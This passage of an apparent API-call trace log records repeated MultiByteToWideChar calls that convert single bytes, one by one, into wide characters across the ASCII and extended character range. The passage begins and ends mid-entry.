lpWideCharStr=")") returned 1 [0048.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="*") returned 1 [0048.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0048.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr=",") returned 1 [0048.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="-") returned 1 [0048.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0048.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0048.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0048.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0048.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="3") returned 1 [0048.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="6") returned 1 [0048.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0048.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0048.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0048.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0048.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0048.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="<") returned 1 [0048.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0048.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0048.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="?") returned 1 [0048.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0048.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="A") returned 1 [0048.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="B") returned 1 [0048.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="C") returned 1 [0048.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="D") returned 1 [0048.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="E") returned 1 [0048.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="F") returned 1 [0048.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="G") returned 1 [0048.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0048.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="I") returned 1 [0048.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="J") returned 1 [0048.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="K") returned 1 [0048.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0048.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0048.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0048.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="O") returned 1 [0048.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="P") returned 1 [0048.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Q") returned 1 [0048.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="R") returned 1 [0048.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0048.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="T") returned 1 [0048.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="U") returned 1 [0048.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0048.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="W") returned 1 [0048.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="X") returned 1 [0048.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Y") returned 1 [0048.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Z") returned 1 [0048.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="[") returned 1 [0048.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0048.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="]") returned 1 [0048.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="^") returned 1 [0048.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="_") returned 1 [0048.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="`") returned 1 [0048.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0048.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0048.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0048.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0048.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0048.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0048.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="g") returned 1 [0048.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0048.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="j") returned 1 [0048.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="k") returned 1 [0048.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0048.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0048.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0048.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0048.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0048.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0048.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0048.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0048.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0048.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0048.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0048.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0048.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="x") returned 1 [0048.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0048.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="z") returned 1 [0048.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="{") returned 1 [0048.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="|") returned 1 [0048.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="}") returned 1 [0048.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="~") returned 1 [0048.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x7f") returned 1 [0048.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="€") returned 1 [0048.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x81") returned 1 [0048.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="‚") returned 1 [0048.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ƒ") returned 1 [0048.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="„") returned 1 [0048.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="…") returned 1 [0048.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="†") returned 1 [0048.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="‡") returned 1 [0048.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ˆ") returned 1 [0048.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="‰") returned 1 [0048.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Š") returned 1 [0048.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="‹") returned 1 [0048.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Œ") returned 1 [0048.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x8d") returned 1 [0048.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ž") returned 1 [0048.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x8f") returned 1 [0048.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x90") returned 1 [0048.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="‘") returned 1 [0048.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="’") returned 1 [0048.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="“") returned 1 [0048.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="”") returned 1 [0048.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="•") returned 1 [0048.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="–") returned 1 [0048.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="—") returned 1 [0048.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="˜") returned 1 [0048.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="™") returned 1 [0048.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="š") returned 1 [0048.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="›") returned 1 [0048.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="œ") returned 1 [0048.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="\x9d") returned 1 [0048.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ž") returned 1 [0048.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ÿ") returned 1 [0048.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0048.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¡") returned 1 [0048.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¢") returned 1 [0048.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="£") returned 1 [0048.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¤") returned 1 [0048.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¥") returned 1 [0048.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¦") returned 1 [0048.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="§") returned 1 [0048.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¨") returned 1 [0048.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="©") returned 1 [0048.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ª") returned 1 [0048.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="«") returned 1 [0048.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¬") returned 1 [0048.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="­") returned 1 [0048.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="®") returned 1 [0048.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¯") returned 1 [0048.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="°") returned 1 [0048.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="±") returned 1 [0048.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="²") returned 1 [0048.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="³") returned 1 [0048.606] MultiByteToWideChar (in: 